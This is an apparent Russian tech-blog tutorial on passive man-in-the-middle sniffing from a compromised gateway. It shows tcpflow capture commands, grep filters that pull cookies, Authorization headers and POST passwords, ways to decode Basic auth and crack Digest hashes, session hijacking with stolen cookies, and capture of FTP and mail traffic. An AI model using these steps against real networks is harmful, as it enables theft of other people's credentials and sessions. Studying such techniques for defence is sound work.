Pull to refresh

О некоторых приемах атаки Man in the middle

Reading time 5 min
Views 38K
Немного Википедии: атака «человек посередине» (англ. Man in the middle, MitM-атака) — термин в криптографии, обозначающий ситуацию, когда атакующий способен читать и видоизменять по своей воле сообщения, которыми обмениваются корреспонденты, причём ни один из последних не может догадаться о его присутствии в канале.
В этой статье будет рассмотрен прием пассивной атаки на http-соединение, без модификации проходящей информации. Итак, каким-то способом вы смогли вклиниться физически или удалённо в канал передачи данных, настроили bridge или просто получили root-управление шлюзом. Руткит поставили, базы с исходниками слили, вебшелл залили, в cron часовую бомбу заложили, и что теперь?

Оговоримся, что в этой статье не рассматриваются методы взлома защищенного соединения, например, SSL. Так же не рассказываем, каким образом мы поимели этот самый root-доступ, оставьте место для интриги. Доступ без root прав не имеет смысла, так как описываемые ниже утилиты требуют высоких привилегий.

C чего же мы сейчас начнем?
И сразу на помощь нам приходит утилита tcpflow. C помощью неё мы сможем записать веб-сессию авторизационные хеши, cookies и проходящие данные а так же сграбить большинство файлов, таких как картинки, архивы, мультимедиа.
Через выдачу команды ifconfig выясняем какие интерфейсы наличествуют в системе, через route выясняем как ходит у нас трафик. В случае шлюза у нас будет не менее двух интерфейсов, один из которых, как правило смотрит во внутреннюю сеть, другой «наружу». Единственное что нам следует знать и всегда помнить, что входящее соединение со стороны локальной сети будет исходящим в «наружном» интерфейсе.
Итак, сграбим немного http соединений, например, с «внутреннего» интерфейса:
#tcpflow port 80 -i eth1

В текущей директории начинают создаваться множество сессионных файлов. Помним, что благодаря технологии keepalive, в одном соединении можно делать несколько запросов, а значит, их может быть записано несколько в одном файле. В файлах записаны заголовки как http-заголовки, так и передаваемые даны. Выглядит это примерно так:
HTTP/1.1 200 OK
Date: Tue, 01 Nov 2011 12:25:18 GMT
Server: Apache
Last-Modified: Wed, 14 Sep 2011 03:48:00 GMT
ETag: «1111111-22222-333333333»
Accept-Ranges: bytes
Content-Length: 4451
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: image/png
.PNG...IHDR.......d.....,T+3....gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....PLTE........2..j.....*..N..\...........>..............&..V........$........R..l ..:.....................mm..................r.....,........B......uu.{{.....................a..\.................!........z… .}........l..7..H..u..M.....d.....A..=....................&ff..........~~......|...........U..-.............................|........c..E…


Фильтрация
Попробуем отфильтровать данные по строчкам, содержащим авторизационные данные.
#egrep -ir «Authorization|Cookie» ./
Выдача будет выглядеть примерно так.

простите за качество, скрин рабочего сервера.
С куками все просто, достаточно вбить их себе в браузер через какой-нибудь cookie editor чтобы украсть сессию. Следует помнить, что иногда куки завязаны на IP-адрес клиента и даже на его User Agent, так что простой увод куки ничего не даст. Несложно так же раскодировать HTTP AUTH их всего несколько видов:
  1. Basic, пара логин: пароль передается закодированной base64. В это случае берем строчку из Authorization и декодируем ее в base64 декодере, получаем строчку вида username:password
  2. Digest, передается хеш от функции MD5(username:realm:password). Тут посложней. Можно попробовать через rainbow-таблицы найти все совпадения строк вида «A:B:C», где А — логин, B – realm, С — пароль. Таких совпадений должно оказаться не так много, чтобы нельзя было их потом все перебрать.
  3. Прочее: Public key, Kerberos, TLS/SSL – не рассматриваем.
Так же нас интересуют все случаи посылки метода HTTP POST, там часто содержатся данные авторизации на страницах.
#egrep -rnH «POST» ./
POST /auth.php HTTP/1.1
Host: blabla.ru
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
DNT: 1
Connection: keep-alive
Referer: httр://bla.ru/auth.php
Cookie: __utma=25445499.32598290.132041700.132014354.132015499.3; __utmc=25445439; __utmz=25445499.132014100.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
text=blabla&login=username&password=ololo&wefo=onPOST /bla.php HTTP/1.1


Захват файлов

Так же tcpflow в связке с утилитой foremost полезна, чтобы перехватывать файлы, точней экстрактировать их из массива сырых захваченных данных. Для этого на сграбленные tcpflow файлы соединений, достаточно натравить foremost:
# foremost ./*
# ls -la ./output/
total 48
drwxr-xr-- 5 root root 4096 Nov 1 18:01.
drwxr-xr-x 3 root root 32768 Nov 1 18:01…
-rw-r--r-- 1 root root 0 Nov 1 18:01 audit.txt
drwxr-xr-- 2 root root 4096 Nov 1 18:01 flv
drwxr-xr-- 2 root root 4096 Nov 1 18:01 html
drwxr-xr-- 2 root root 4096 Nov 1 18:01 php


Так же внезапно оказалось, что с помощью этой утилиты можно восстанавливать файлы с битых носителей, благо она хорошо детектирует файлы по сигнатурам. Например, в foremost.conf можно даже прописать сигнатуры кастомных типов файлов.

Другие примеры работы

Перехват FTP соединений на шлюзе snup:
#tcpflow 'gateway snup and (port ftp or ftp-data)'
Перехват незашифрованного mail трафика:
#tcpflow tcp port 110
#tcpflow tcp port 25

Аналогичную с tcpflow функцию выполняет утилита tcpxtract. Так же есть побочная утилита httpflow, но она применяется в основном для отладки http соединений.

Выводы

Таким образом, мы показали, что имея физический или удаленный root доступ к каналу, не имея образования и сложных знаний, с помощью несложных утилит можно перехватить любые данные пользователя. Статья больше является обзорной, так как мне не хотелось писать еще один бездушный «скачайте-скомпилируйте». Пытливым людям такое ни к чему, они и так понимают чего они хотят, а начинающий просто обязан проштудировать весь упомянутый в статье материал и пользоваться поиском.

Что у меня не удалось

  1. Поставить связку утилит через трубу tcpflow | foremost. Они, видимо, не дружат друг с другом уж настолько.
  2. Экстрактировать с помощью foremost html-файлы, сжатые Accept-Encoding: gzip, deflate, очевидно, что foremost не поддерживает декодирование такого рода. Утилит для этого при беглом поиске не нашел. Однако, это можно делать вручную, для каждого файла надо обрезать http заголовки и скармливать их через sdtin в gzip/tar/deflate.


Полезная литература:

#man foremost
#man tcpflow
#man tcpxtract
www.voidspace.org.uk/python/articles/authentication.shtml
secure.wikimedia.org/wikipedia/ru/wiki/%D0%A7%D0%B5%D0%BB%D0%BE%D0%B2%D0%B5%D0%BA_%D0%BF%D0%BE%D1%81%D0%B5%D1%80%D0%B5%D0%B4%D0%B8%D0%BD%D0%B5
secure.wikimedia.org/wikipedia/ru/wiki/%D0%A1%D0%BD%D0%B8%D1%84%D1%84%D0%B5%D1%80
www.circlemud.org/jelson/software/tcpflow
secure.wikimedia.org/wikipedia/en/wiki/Digest_access_authentication
encrypted.google.com/search?q=foremost+linux
www.debian-administration.org/articles/558
stackoverflow.com/questions/2866864/extract-payload-from-tcpflow-output
tcpxtract.sourceforge.net
Набор утилит для анализа и взлома www2.opensourceforensics.org/tools/unix
serversniff.blogspot.com/2009/08/extracting-files-from-tcpdump.html
Tags:
Hubs:
+19
Comments 12
Comments Comments 12

Articles